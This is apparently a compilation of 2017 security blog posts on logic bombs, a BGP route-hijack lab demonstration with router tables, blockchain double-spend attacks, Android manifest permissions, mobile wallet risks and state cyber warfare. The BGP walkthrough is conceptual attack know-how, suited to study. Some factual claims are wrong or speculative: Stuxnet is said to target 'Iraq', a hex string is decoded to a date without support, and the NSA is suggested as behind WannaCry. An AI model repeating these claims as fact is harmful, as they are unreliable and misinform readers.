It is not a virus, but works in a similar pattern. From technical point of view, slag code sounds like a set of instructions inserted into a program that are designed to execute the target action (sounds like “explode”).

Scenario – The technical term so called network exploded. The result of this explosion contains delete data ,corrupt data or have other harmful effects.

Concept:

Below  example (Picture A) shown that only implement a simple command syntax to a windows workstation. The process will consume all the CPU resources until windows OS shutdown. This is the concept idea of a slag code. Do you think similar attack concept can whether be affect the services provider network equipment?

Picture A – slag code

How powerful of the cyber bomb, is it possible?

Above concept can show you that your workstation execute a slag code and result not operation properly. The service get back normal until reboot. What if, the telecommunication services provider receive the slav code crafted by expert. What’s the worst situation is?

Logic Bomb 

Logic Bomb 1 – infectious media (malware)

The logic bomb goal to achieve a destructive result. The infectious media relies on malware. The malware structure will  be consists of a executable file ( Agent.exe ). This file is for triggered the wiping function. Besides this file contains a hex string. For example – a hex string display 65B417D8. When we convert the hex code to numeric value, it indicate that this is the date and time of the attack to begin (June 30, 2017 at 2pm local time (2017-6-30 14:00:00)). As soon as the internal system clock on the machine hit 14:00:01, the wiper (agent) was triggered to overwrite the hard drive and master boot record on Microsoft OS of machines and then reboot the system. The malicious code can access and compromise Windows-based systems inside the industrial control network. After a Windows system has been infected, the weapon would be stealthy enough to evade IT security controls while it searches for a target system

Logic Bomb 2 – A persistent attack (the packets being constantly injected)

A persistent attack occurs when the attacker would put bad packets into a router and it would lead to vulnerabilities being exploited/revealed during the process. Significant damage can occur during this attack because packets would be flooded into the router and can end up suspend the routing function.

Remark: These attacks are very complicated to detect.

Logic Bomb 3 – The mistrating attacks

The mistreating attacks can be caused indirectly by directing an irresistible number of packers to the target victim address. Let the victim (router and network) isolated. In the means that the network services will be suspended.

 

Cyber warfare arsenal (major weapon)

Ransomware

Since this topic we discussed in past , for more details, please see below URL for reference.

The other side of the story on cyber attack (Electronic war between countries)

Informaiton Supplement  – BGP hijack attack

Below idea show a rogue AS falsely advertises a shorter path to reach a prefix P, which causes other AS’es to route traffic destined to the prefix P through the shorter path.

 

There are four AS’s: AS1, AS2, AS3 and AS4 (rogue).

Each routing daemon’s peers are shown using connections:

  1. Router 1 peers with router 2 and router 4.
  2. Router 2 peers with router 1 and router 3.
  3. Router 3 peers with router 4.

 1 – Show router 1 routing entries

BGP table version is 0, 
local router ID is 9.0.0.1

Network Next Hop Metric LocPrf Weight Path
1.0.0.0 0.0.0.0    0           32768  i
2.0.0.0 9.0.0.2    0               0  2 i
3.0.0.0 9.0.0.2                    0  2 3 i

Reminder A: On AS1, the chosen AS path to reach 3.0.0.0/8 is “2 3” (i.e., via AS2 and AS3).

2: Start the rogue AS, the rogue AS will connect to AS1 and advertise a route to 3.0.0.0/8 using a shorter path (i.e., a direct path from AS1 to AS4). Thus, AS1 will choose this shorter path by default.

3. Show router 1 routing entries again

BGP table version is 0, 
local router ID is 9.0.0.1 

Network Next Hop Metric LocPrf Weight Path 
1.0.0.0 0.0.0.0     0           32768 i
2.0.0.0 9.0.0.2     0               0 2 i
3.0.0.0 9.0.4.2     0               0 4 i
        9.0.0.2     0                 2 3 i

We can see AS4’s chosen path and also AS3’s path in the routing information base of AS1.
Since the AS path length to reach 3.0.0.0/8 is smaller through AS4, router 1 chooses AS4 as its next hop.

From technical point of view, it successfully hijack the traffic in BGP network. We known internet routing protocol is using BGP. No suprise, this is only a basic theory. More complex and advance technique is under develop by different countries.
See who show his power to the world.

Observation:

On our discussion of this topic, I am not going to input key word conclusion on the end of page this time. As we know, above items is my speculation. Believed it or not , the cyber attack atmosphere looks similar with discussion in past.

But bear in mind that any product includes cyber weapon require test and pilot run. These rehearsal looks mandatory since it is hard to foreseen the overall damage effect (including the response of the countries). On the other hand it is a test to know the actual system specification in hostile country. It compared to traditional way become more effective! Hire a spy infiltrate to hostile country is not the way today. Do you agree?

I am going to write more interested topics. Hope you will be interest. See you. Have a nice weekend.

 

 

 

 

 

 

 

 

Rouge-et-noir , they are all going to achieve this objective (blockchain or Hyperledger)

 

Preface:

Timothy 6:10: “For the love of money is the root of all [kinds of?] evil”

Before we jump into discussion see the bitcoin market status today

Ethereum briefly crashed from $319 to 10 cents , said Thursday (22nd June 2017) CNBC News.

http://www.cnbc.com/2017/06/22/ethereum-price-crash-10-cents-gdax-exchange-after-multimillion-dollar-trade.html

The CoinDesk Bitcoin Price Index provides the latest and most accurate bitcoin price using an average from the world’s leading exchanges.

As of today (22nd June 2017) ,1 Bitcoin equals 2716.06 US Dollar

How does Finance sector think about it?

On 26th May 2017, Bank of America Corp, SBI Holdings Inc, HSBC Holdings Plc, Intel Corp and Temasek Holdings have invested $107 million in R3 CEV. The R3 is made up of financial industry veterans, technologists, new tech entrepreneurs and subject matter experts. This group of people goal to building the next generation of global financial services technology. Sound amazing that finance sector are keen to involves the blockchain or bitcoin technologies.

Perhaps bitcoin or blockchain are in mature stage now. It looks that it lack of acceptability. Even though banking industry treat the new payment concept with respect. But technically did not potentially replace the traditional payment gateway especially SWIFT payment system. Since different have different official financial policies and guideline.

How does criminal  think about it?

When we talk about blockchain technology, most of the time we will think about hacking. How to jail break the encryption algorithm. Few expertise opinion. The break point of the blockchain technology not focus on break though the encryption. Seems it is not easy to do. But bitcoin technology concerns of double spend” of electronic coins. In the sense that bitcoins technology itself is aware of it.  Are you interested of this information. Be my guest, take a short journey to dig out a little bit. Ok, are you ready. Our train is leaving the platform now.

World more complex, a new technology appears, it is  Hyperledger?

Hyperledger is an open source collaborative effort created to advance cross-industry blockchain technologies. It is a global collaboration, hosted by The Linux Foundation, including leaders in finance, banking, IoT, supply chain, manufacturing and technology.

Remark: Hyperledger compared to traditional interbank settlement , the overall completion need time will be shorten compared to traditional process. Meanwhile the hyperledger transaction of volume will be higher. Therefore the expert claimed that this is a speedy area like a motorway.

From technical point of view, Blockchain and Hyperledger technologies are located in services layer (see below).

No matter how the technology renovation in future, double spend might have possibility happens. Before we discuss the double spend attack technique concept.  Let’s use a simple way to understand the feature of both new and traditional technology elements. On this article, we found 2 units of element shown in Service layer. That is blockchain and hyperledger. Hyperledger benefits for cross-industry blockchain technologies. We can say it will be run in properaitery private network. Blockchain technology are open for public usage. You and me can enjoy the benefits (no transaction fees). May be you can dig out more. But above  criteria is easy for your identification. Below is the hyperledger blockchain platforms for your reference.

The availablility of Hyperledger blockchain platforms today.

Hyperledger Burrow – Burrow is a blockchain client including a built-to-specification Ethereum Virtual Machine. Contributed by Monax and sponsored by Monax and Intel.

Hyperledger Fabric – Contributed by IBM.

Hyperledger Iroha – Based on Hyperledger Fabric, with a focus on mobile applications. Contributed by Soramitsu.

Hyperledger Sawtooth – Contributed by Intel

We can go to cyber attack concept now, let’s move on.

Double-spend Attacks

Double-spending is the result of successfully spending some money more than once. It means that a suspicious transactions spend from the same inputs as the first set of transactions. The transactions conflict and are thus double spends. In order to avoid to this problem occurs. Only one transaction out of a set of double spends will be able to confirm. The rest of the transactions become invalid.

The one we consider of this attack does only work for fast payment scenarios. Oops….we known that hyperledger claim that he is work in fast payment scenarios? Are you kidding?

Actually a technical report issued by ETH Zurich did a proof of concept on the possibility of double-spend attack on blockchain instead of hyperledger. Below informative diagram can provide an idea to you in this regard. The test shown that make network traffic delay on Txv. And avoid the acknowledge  issued by Txa go to victim. The test found factual issue occurred in this circumstances.

Since developers and blockchain investors understand the weakness of current blockchain technology.  A group of financial investor build the next generation of technology goal to enhance the current technology design weakness. That is the hyperledger today.  The features enhancement area includes Message handling, Block Publishing/validation, Consensus, Global State Management. Below informative diagram display the overall operation infrastructure. A segregates transaction payload definition, validation and stat management logic to improve overall security.

Observation: In this secure environment, how does hacker do?

Regarding to the authorization check on hyperledger design (see below informative diagram) it provide a comprehensive monitor feature to prevent incorrect and suspicious transaction.  Hacker will take a another way round even through you have good authorization check system.

Since decryption of data not a easy way. It is time consuming and do not guarantee the successful rate. From technical point of view, hacker is not possible to spend on such afford. The possible and easy way is that hacker relies on the spear phishing technique. Then counterfeit messages appear to come from a trusted source fooling user in negligence. A misleading message lets user activate a internet link (url) which trigger malware infection. The hyperledger technique run in multi-layer architecture might expose more surface for attack. A insider threat might create a break point and causes the system compromised finally. As we know, ransomware is a hybrid architecture which coexists with malware and ransome features. Hacker can implant malware to a internal workstation then execute the ransomware attack afterwards.

The smart contract ID is unique reference number. No body else can help once the repository encrypt by hacker.

Is there any remediation solution on above matter?

Per my observation from past. Even though you have comprehensive detective and preventive security control. It is hard to avoid the incorrect business decision.  In short, what is the drawback on above matters in regards to business decision. The business shake holder intend provide more flexibility on the system function. For instance customization of the application to fulfill business objective.

For corrective control solution. We can do the following to recover the system after ransomware infection.

  1. Increase the backup SNAPShot schedule. Since the delta improved. It reduce the overall loss of data percentage after system restore.
  2. Not allow critical host have access internet function. Perhaps you say, it is inconvenient to do  the zero-day patch, critical patch and anti-virus signature update? But this is a important factor.

If you can use a simple way to move a mountain, why do you choose a heavy machine? Ok, let’s stop discussion here. Please take off the train.
But I will provide more interest topics soon! Bye!

 

 

 

 

 

 

 

 

 

 

 

2017 – How Android protect itself?

Preface:

Numbers 31:3 “So Moses spoke to the people, saying, “Arm men from among you for the war, that they may go against Midian to execute the Lord’s vengeance on Midian.”

If you are familiar with Bible, you might know who’s Midian. Some scholars have suggested that Midian was not a geographical area but a league of tribes.

Cope with nowadays cyber security world.  Sounds like Midian equivalent of a  malware. Man kind is going to find a way protect the electronic devices including computer, mobile phone and IoT devices.

2017 threats predictions (mobile phone)

We all  known ransomware aggressive 1st quarter this year and believed that similar of attacks will continue to grow. We aware that malware and malicious code embedded on Google Play store applications significant increases. And therefore the downloading apps from unknown and untrusted markets has always been more dangerous. And predicts that similar type of incidents will be happens continuously. Besides  there are hardware vulnerabilities during the last several years—including vulnerabilities in microprocessors and DRAM technology. May be you might ask? How mobile phone especially Android to protect itself?

Let’s talk a closer look see whether we can find the hints

Fundamental of Android APT

Android use the standard process isolation to split application.  The application reading each-other’s data by requesting permissions in the apk’s. By requesting permissions in the apk’s
AndroidManifest it is possible to get those granted by the PackageManager. Such permissions can result in applications being run under the same user id.

Heads-up: This is the reason Google is having a hard time getting rid of malicious Android apps

APK Installation Process

An additional Android manifest file, describing the name, version, access rights, referenced library files for the application. As such, the Manifest files plays an important role for every android application. From the perspective of security the manifest file is usually the first thing that a penetration tester will check on an engagement. The android:protectionLevel attribute defines the procedure that the system should follow before grants the permission to the application that has requested it. This is a major part of Android security feature. And this is one of the important protection feature of Android.

All the permissions that the application requests should be reviewed to ensure that they don’t introduce a security risk.

1
2
3
<permission>
android:protectionLevel="signature"
</permission>

Below is an example showing that an inherent risk found on Android manifest file. The setting lack of signature permission.

<?xml version='1.0' encoding='utf-8'?>
<manifest package="org.qtproject.example.notification" xmlns:android="http://schemas.android.com/apk/res/android" android:versionName="1.0" android:versionCode="1" android:installLocation="auto">
    <application android:icon="@drawable/icon" android:name="org.qtproject.qt5.android.bindings.QtApplication" android:label="@string/app_name">
        <activity android:configChanges="orientation|uiMode|screenLayout|screenSize|smallestScreenSize|locale|fontScale|keyboard|keyboardHidden|navigation"
                  android:name="org.qtproject.example.notification.NotificationClient"
                  android:label="Qt Notifier"
                  android:screenOrientation="unspecified">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
            <meta-data android:name="android.app.lib_name" android:value="-- %%INSERT_APP_LIB_NAME%% --"/>
            <meta-data android:name="android.app.qt_sources_resource_id" android:resource="@array/qt_sources"/>
            <meta-data android:name="android.app.repository" android:value="default"/>
            <meta-data android:name="android.app.qt_libs_resource_id" android:resource="@array/qt_libs"/>
            <meta-data android:name="android.app.bundled_libs_resource_id" android:resource="@array/bundled_libs"/>
            <meta-data android:name="android.app.bundle_local_qt_libs" android:value="-- %%BUNDLE_LOCAL_QT_LIBS%% --"/>
            <meta-data android:name="android.app.bundled_in_lib_resource_id" android:resource="@array/bundled_in_lib"/>
            <meta-data android:name="android.app.bundled_in_assets_resource_id" android:resource="@array/bundled_in_assets"/>
            <meta-data android:name="android.app.use_local_qt_libs" android:value="-- %%USE_LOCAL_QT_LIBS%% --"/>
            <meta-data android:name="android.app.libs_prefix" android:value="/data/local/tmp/qt/"/>
            <meta-data android:name="android.app.load_local_libs" android:value="-- %%INSERT_LOCAL_LIBS%% --"/>
            <meta-data android:name="android.app.load_local_jars" android:value="-- %%INSERT_LOCAL_JARS%% --"/>
            <meta-data android:name="android.app.static_init_classes" android:value="-- %%INSERT_INIT_CLASSES%% --"/>
            <meta-data android:value="@string/ministro_not_found_msg" android:name="android.app.ministro_not_found_msg"/>
            <meta-data android:value="@string/ministro_needed_msg" android:name="android.app.ministro_needed_msg"/>
            <meta-data android:value="@string/fatal_error_msg" android:name="android.app.fatal_error_msg"/>
            <meta-data android:name="android.app.splash_screen_drawable" android:resource="@drawable/logo"/>
            -->
        </activity>
    </application>
    <uses-sdk android:minSdkVersion="16" />
    <supports-screens android:largeScreens="true" android:normalScreens="true" android:anyDensity="true" android:smallScreens="true"/>
    <uses-permission android:name="android.permission.INTERNET"/>
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
</manifest>

Android-APT project page:

As we know Android APT plugin officially obsoleted. The Android Gradle plugin (version 2.2) replaced the traditional plug in (Android APT) on Oct 2016.

An announcement issued by Android studio. Annotation Processing became available in Android Gradle plugin (2.2 and later) so there is now no need to use the Android APT plugin anymore if using version 2.2 of gradle or above.

You can remove the line :

apply plugin: 'com.neenbedankt.android-apt'

Question: How about the security status who still supports Android APT plugin?

If the Android Gradle plugin not in use, it is still a Eclipse project. Currently android-apt works fine with version 2.2 of the Android Gradle plugin, but it doesn’t work with jack.

Is there security concerns on Android APT plugin?

Plugin technology was initially introduced by third parties to add additional enhancements and capabilities to Android.The plugin will find all AspectJ aspects available in the project compile classpath, plugin class and weave .class files. Meanwhile AspectJ allow to hook. AspectJ to work on Android we have to make use of some hooks when compiling our app and this is only possible using the android-library gradle plugin.

From security point of view, plugin design might contain inherent risk because of the fundamental hook process design. The Android plugin technology is an innovative application-level virtualization framework that allows a mobile application to dynamically load and launch another app without installing the app. This technology was originally developed for purposes of hot patching and reducing the released APK size. The primary application of this technology is to satisfy the growing demand for launching multiple instances of a same app on the same device, sounds like I log in my personal and business Gmail  accounts simultaneously.

Abbreviations 1: Weave (Web-based Analysis and Visualization Environment)

Abbreviations 2: AspectJ is an aspect-oriented programming (AOP) extension created at PARC for the Java programming language. It is available in Eclipse Foundation open-source projects, both stand-alone and integrated into Eclipse.

APT, AspectJ, Javassist corresponding component

Sound scary but Android have their solution to mitigate the risk?

Can we wait for Android O?

 

 

Digital wallet – Where to go? iphone, Android or not going to use

 

Preface

I’m smart brain, gave me lazy….

The implementation of the smart phone change people life style. Any time any where you can get in touch with the world. It break follow the sun operation concept. Why? Both online shopping and settlement simultaneously because of electronic payment function. Below bar chart on left hand side shown internet users in select countries who purchase items via mobile device in 2013. Less than 3 years time, a significant usage of mobile payment has been growth in Greater China (see below picture right hand side).

Cyber attack is a never ending story. Malware infection technique take the advantage of computer users negligence. Even though Bank did not have expection. The headline news shocked the world includes The Bangladesh Bank robbery. It was so called the Bangladesh Bank heist, took place in February 2016, when SWIFT instructions to steal US$951 million from Bangladesh Bank.

In order to avoid cyber incident happen on electronic payment transaction. Financial industry especially payment gateway services provider find perfection of authentication method goal enhance the reliability of payment. For instance 2 factor authentication, a second random generation of pass code go through SMS forward to you mobile phone.

Electronic wallet upside down to the world

A third-party online payment platform was launched in China in 2004 by Alibaba Group. As times goes by, now the biggest market share in China with 400 million users. The coverage near 50% of China’s online payment market in October 2016. As of today electronic wallet looks like flooding went to different countries in the world especially China. Electronic wallet initiate by mobile phone. Below table can provide an hints to you in this regard.

 

Background

A digital wallet refers to an electronic device that allows an individual to make electronic transactions

Digital wallet infrastructure elements

.

The account information and Card type lure the interest of criminals. But are you aware that there are difference in between mobile computing (electronic wallet) and traditional internet payment function (without electronic wallet). See below informatic diagram. Even though how precise and advanced encryption technology are deployed. But it is difficult to avoid a single device facing compromise. Personally I am not suggest my friend to use electronic wallet on his mobile phone. My friend was told even though money lost because of malware, it only lost the charge money value. Yes, from technical point of view it is correct. But reminded you that mobile OS is fragile. Why does it say mobile OS is fragile?

 

Why does it say mobile OS is fragile?

Android phone

(Memory)

Both the Android Runtime (ART) and Dalvik virtual machine perform routine garbage collection, this does not mean you can ignore when and where your app allocates and releases memory. Software designer need to avoid introducing memory leaks, usually caused by holding onto object references in static memory variables, and release any Reference objects at the appropriate time as defined by lifecycle callbacks.

Side effect of above defect – The easiest way to leak an Activity is by defining a static variable inside the class definition of the Activity and then setting it to the running instance of that Activity. If this reference is not cleared before the Activity’s lifecycle completes, the Activity will be leaked. So all depends on mobile apps developer design. It is hard to avoid memory leak. As you know, what is the defect of memory leak? Hacker relies on this error can implant malware.

If you would like to know more details, please refer below articles.

Heard that Android operating not secure anymore, but it is properly not.

How about IOS?

Design weakness:

Every WebKit object is RefCountedBase object

Mobile Safari and most of WebKit Apps leak address – Fill in another object and use the JS pointer of the old object to read information of the new object.

Should you have interest know the details on above matter, please refer below:

Meteor shower – Apple iPhone

Checkpoint : If above 2 technical articles make you feeling confused. Tired, you are not able to read. No problem we can jump to summary of this discussion. The information will stay here, anytime you have interest you are free to read.

Summary:

IT & cyber security technologies due to limit development life cycle. OS claim itself is safe today but is it hard to guarantee next 6 months. The most fundamental weakness in mobile device security is that the security decision process is dependent on yourself. You are allow anywhere play online games & watch on-line TV program. Because of the web browser extend feature, uncountable plug-In drivers will install to your mobile phone. How about your personal information includes your personal account information. Do you think only relies on your local antivirus. The so called malware detection program can aviod the cyber attack?

My personal suggestion is that think it over before install or make use of electronic wallet on your mobile phone.

Have a nice day, Good Bye!

 

The other side of the story on cyber attack (Electronic war between countries)

 

Preface

We heard  that the new age transformation is coming.  As a result it transform the traditional military weapons to electronic codes. The computer  technologies such as DDOS (Distributed denial of services), malware and virus similar a killer. It can disrupt the financial activities,  daily network communication and health care services. An idea bring to our attention on world war II history was that classic military power result destroyed everything (mankind and properties).  But re-built the society and operation after war. It is a harsh and difficult mission! From technical point of view, the victorious might stand on ethics view point to assists defeated side to rebuild the business and economic system. As a matter of fact, the distruction level of war created by military weapon especially missile it is hard to evaluation. And this is the reason let’s cyber warfare appears in coming future! But it started already!

Analytic result on technical articles about cyber warfare

In regards to my study on technical article issued by CSS Eth Zurich (The Center for Security Studies (CSS) at ETH Zurich).The analytic result highlights serveral key factors of Cyber warfare . Cyber warfare was cheaper than traditional military force. It provides a  “cleaner” (with less or no bloodshed) suitation. No doubt that  less risky for an attacker than other forms of armed conflict. The analytic result  defines 5 different types of cyber conflict during their study. They are Cyber War, Cyber Terrorism, Cyber Espionage, internet crime and cyber vandalism.

The specific feature of cyber weapon (in between country to country)

I was sometimes confused with the headline news on prediction on cyber technology war.  The questions on my mind is that how electronic weapon or cyber weapon replacing traditional military facilities? Think it over, the appropriate technique might adopted target into the following criteria (see below):

The capabilities of cyber attack techniques ( A transformation of traditional military force)

Type Attack technology Functional feature – objective Target – Environment Remark:
Cyber Vandalism, Cyber War IOT & BOTNET (DDOS technique)

 

Services suspension – electronic communication services (IP-Telephony) Bank, Fund House , Stock Exchange
Cyber Espionage Malware Information gathering Bank, Fund House, Stock Exchange & government sector
Cyber War, Cyber Vandalism Ransomware Services suspension important facility fucntion nuclear facility , Airlines,TV broadcast station, Radio broadcast station & military facility Ransomware feature contained facility to supspend the computer services. Besides it capable listen to the instruction of C&C server. On the other hand, the attacker can resume the services once they win the battle.
Traditional military force Bomb Services Suspension on important facility function and destroy permanently nuclear facility, military facility, power station, airport & communiation facility (Digital phone system)
Internet Crime, Cyber war Email phishing and Scam email message Carry out  psychological warfare, implant malware activities in order to fulfill their objective nuclear facility, military facility, power station,

Let us dig out one of the attack technique to see how the cyber technology feature fulfill the goal of the cyber warfare features .

Do you think Ransomware is founded by military department?

The first ransomware appear in the world on 1989. A biologist Joseph L. Popp sent 20,000 infected diskettes labeled
“AIDS Information – Introductory Diskettes” to attendees of the World Health Organization’s international AIDS conference.
But after 90 reboots, the Trojan hid directories and encrypted the names of the files on the customer’s computer.
To regain access, the user would have to send $189 to PC Cyborg Corp. at a post office box in Panama.

In 2006, former President George W. Bush was increasingly worried about Iranian efforts at enriching uranium, and ultimately, its hopes to build an atomic bomb. The goal of Stuxnet is going to destroy Iraq nuclear facilities driven by US government. The rumors were told Stuxnet malware destroyed roughly one-fifth of Iran’s centrifuges in 2009.

An unconfirmed  information stated that there is a separate operation called Nitro Zeus, which gave the US access into Iran’s air defense systems so it could not shoot down planes, its command-and-control systems so communications would go dead, and infrastructure like the power grid, transportation, and financial systems.

Speculation:

WannaCry infection using EternalBlue, an exploit of Windows’ Server Message Block (SMB) protocol.  The U.S. National Security Agency (NSA) had discovered the vulnerability in the past, but used it to create an exploit for its own offensive work, rather than report it to Microsoft. As we know nuclear power facilities control system OS platform relies on Microsoft OS system (see below articles). It may causes people think is there any secret action hide by NSA (National Security Agency). He aroused my interest in questioning who is the key figure to spread WannCry ransome? It looks that there is similarity with Stuxnet worm infection in 2009. Since we all fool by NSA at that time let your computer workstation transform to a cyber army then attack USA enemy.  Do you think wanncry is the rehearsal of test or pilot run?

Malware vs. nuclear power: Do you think SCADA system is the culprit of attack on nuclear power system?

Below diagram is my imagination of the modern nuclear facility environment. The SCADA system pay a key role in nuclear power facility. Ransomeware have capabilities to suspend the services of this facilities. It doesn’t need to destroy anything but the services will be totally shut it down the services. We have seen the real example in UK health care services as a reference. I will stop written here. Should you have any queries, I will try my best to written more in future.

Supplement – The other side of the story on cyber attack (Electronic war between countries) – 13th June 2017

 

As said on above discussion topic, since it looks not interest to visitors on reflection of comments on feedback.  However there is something on my mind need to share.

North Korea President Kim’s intention show to the world of his governance power. He is in frequent to demonstrate his military power cause US government concerns his equalize of military power in the world. To be honest, it is hard to equal the military and economics power as of today. For instance China nearly become the 1st business economic leader. We all know United state is the leader in this moment. However their economic operation chain should have difficulties to do the 2nd round of transformation. Because some of their capital business and business economy contained made in China element.  Since North Korea on finance and business economy are weak. President Kim did such things seems not make sense. I did not visit North Korea however a lot of news on TV might speculate their current situation. I strongly believed that their nuclear facility might operation in 60’s fashion. The SCADA system not possibly supply by Siemens. But learn and develop a windows based SCADA system not difficult.  From information point of view, North Korea nuclear facilities might relies on window for Control Systems instead of Linux for control system.  And therefore Ransomware type attack can specifics shot the target. Meanwhile the business industry from North Korea all work with Microsoft OS  in daily life.

The infection status of wannacry was not issued by North Korea government.  But for sure that wannacry type infection can suspend North Korea business finance and industries operations.

Below are the hints how to eliminate the risks issued by  SCADA system vendor. Any interest?

Process control vendors require:
1. A system with a minimal attack surface, so that biweekly or monthly patches are not required
2. A consistent programming interface that will not change every four to five years, requiring a complete rewrite of their software
3. An environment that can be quickly and safely “locked down” to reduce the risk from hacking
4. A system with limited network access, only through specific ports to reduce the risk of network based attacks
5. Support for priority-based multi-tasking, preferably a real-time operating system (RTOS) that supports hard real-time requirements
6. A robust ecosystem of utilities and tools to make development, installation, debugging, and maintenance as easy as it is on consumer systems.

End of this topic

 

 

 

antihackingonline.com